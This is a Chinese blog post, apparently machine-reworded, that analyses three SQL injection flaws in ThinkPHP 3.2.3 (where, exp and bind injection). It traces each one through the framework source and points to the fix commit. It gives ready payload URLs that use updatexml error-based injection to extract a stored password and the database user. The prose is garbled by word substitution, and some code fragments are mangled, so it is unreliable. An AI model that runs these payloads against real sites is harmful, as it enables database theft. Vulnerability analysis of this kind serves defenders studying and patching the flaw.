首页 » Web前端 » thinkphp32技巧_ThinkPhp3马脚事理分析总结

thinkphp32技巧_ThinkPhp3马脚事理分析总结

访客 2024-11-22 0

扫一扫用手机浏览

文章目录 [+]

环境搭建下载源码

thinkphp32技巧_ThinkPhp3马脚事理分析总结

编辑器利用了phpstrom

配置数据库

thinkphp32技巧_ThinkPhp3马脚事理分析总结
(图片来自网络侵删)
添加测试数据

Thinkphp3.2.3 where注入payload

?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23断点

剖析经由htmlspecialchars过滤

于442行通过think_filter函数进行过滤

经由ThinkPHP/Library/Think/Model.class.php:779的find()方法

知足条件则进入

逼迫进行转换,转换为了int形

带入查询

步骤

id=1' -> I() -> find() -> __parseOptions() ->_parseType()

知足条件才能进去__parseOptions()方法

条件

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))绕过

index.php?id[where]=3 and 1=1修复

Thinkphp 3.2.3 exp注入支配环境

payload

http://localhost:8888/tp3/index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

剖析进入Model.class.php的822行this−>select(this−>select(options)

跟进select方法

跟踪Driver.class.php中的parseSql方法

跟踪Driver.class.php中的parseWhere方法

经由whereStr.=whereStr.=this->parseWhereItem(this−>parseKey(this−>parseKey(key), $val)方法,跟踪进去

须要时数组才可以进去if语句

语句exp直接拼接构成注入

} elseif ('bind' == $exp) { // 利用表达式 $whereStr .= $key . ' = :' . $val[1];修复

利用I方法接管会通过think_filter函数进行过滤

thinkphp 3.2.3 bind注入payload

index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1环境支配

public function index() { $User = M("Users"); $user['id'] = I('id'); $data['password'] = I('password'); $valu = $User->where($user)->save($data); var_dump($valu); }

上文说到除了exp还有bind可以进行注入

报错

进入update方法

进入到了parseWhereItem方法(bind可以注入)

于函数bindParam进行了添加冒号

在Driver.class.php文件execute中进行冒号更换

if (!empty($this->bind)) { $that = $this; $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));}如果payload不是0的话

修复

https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

标签:

相关文章

QQ伪装黑客代码大全技术与风险警示

网络安全问题日益凸显。QQ作为一种流行的社交工具,成为了黑客攻击的主要目标之一。本文将针对QQ伪装黑客代码大全进行深入剖析,揭示其...

Web前端 2025-03-02 阅读1 评论0